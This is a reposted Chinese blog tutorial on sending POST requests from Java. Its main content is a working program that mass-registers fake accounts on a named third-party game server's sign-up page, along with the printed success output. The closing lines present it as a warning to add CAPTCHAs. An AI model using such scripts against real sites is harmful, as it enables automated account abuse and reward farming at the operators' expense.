post 的请求,垃圾注册是这样产生的

 [转: http://renyanwei.javaeye.com/blog/258013]

大伙都知道利用JAVA的net包的URL类和 URLConnection可以得到网页源代码(这个应该是蜘蛛程序的锥形吧),但是向网页发送数据怎么办呢,GET请求很好处理,直接在网址后面加参数就可以了,但是可不可以向网页中发送POST请求呢,注册程序就是我们在点击提交按钮后往指定页面发送POST请求以便送往数据库

 

本例就来做个演示,往一个完美私服的数据库里不断发送注册请求

 

Java代码 复制代码
  1. import java.net.*;   
  2. import java.io.*;   
  3. import java.util.Locale;   
  4. class Test    
  5. {   
  6.     public static void main(String[] args)    
  7.     {   
  8.         try  
  9.         {   
  10.             //用于注册的用户名 密码 问题 答案临时变量   
  11.             String temp="renyanwei";   
  12.   
  13.             //就注册10个吧,别太过火了   
  14.             for (int i=1;i<10;i++)   
  15.             {   
  16.                 String urlstr="http://www.88wanmei.cn/register.php";   
  17.                 URL url=new URL(urlstr);   
  18.                 URLConnection conn=url.openConnection();   
  19.   
  20.                 //这里是关键,表示我们要向链接里输出内容   
  21.                 conn.setDoOutput(true);   
  22.   
  23.                 //获得连接输出流   
  24.                 OutputStreamWriter out=new OutputStreamWriter(conn.getOutputStream());   
  25.   
  26.                 //这里是我定义了一组账号信息,字段+数据   
  27.                 String str=String.format(Locale.CHINA,"login=%s&&passwd=%s&&repasswd=%s&&Prompt=%s&&answer=%s&&email=%s",   
  28.                     temp+i,temp+i,temp+i,temp+i,temp+i,"ren@ren.com");   
  29.                 //把数据写入   
  30.                 out.write(str);   
  31.                 out.flush();   
  32.                 out.close();   
  33.   
  34.                 //到这里已经完成了,不过我们还是看看返回信息吧,他的注册返回信息也在此页面   
  35.                 BufferedReader reader=new BufferedReader(new InputStreamReader(conn.getInputStream()));   
  36.                 String line=null;   
  37.                 int lineNum=1;   
  38.                 while((line=reader.readLine())!=null)   
  39.                 {   
  40.                     ++lineNum;   
  41.   
  42.                     //为什么只输出174行呢,因为这一行才是返回信息嘛,要其他的没用   
  43.                     if(lineNum==174)   
  44.                         System.out.println(line);   
  45.                 }   
  46.             }   
  47.   
  48.         }   
  49.         catch (Exception x)   
  50.         {   
  51.             System.out.println(x.toString());   
  52.         }   
  53.            
  54.     }   
  55.   
  56. }  

 返回信息


                  用户 <b>yanwei1</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
                  用户 <b>yanwei2</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
                  用户 <b>yanwei3</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
                  用户 <b>yanwei4</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
                  用户 <b>yanwei5</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
                  用户 <b>yanwei6</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
                  用户 <b>yanwei7</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
                  用户 <b>yanwei8</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
                  用户 <b>yanwei9</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>

 

总结:为什么我们可以这么肆无忌惮的玩弄人家,最重要的原因是什么?无验证码!

通过这个程序只是想劝告大家,以后做网页可一定要注意这一点儿啊,不然碰到别有用心的人可不好玩儿啊

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值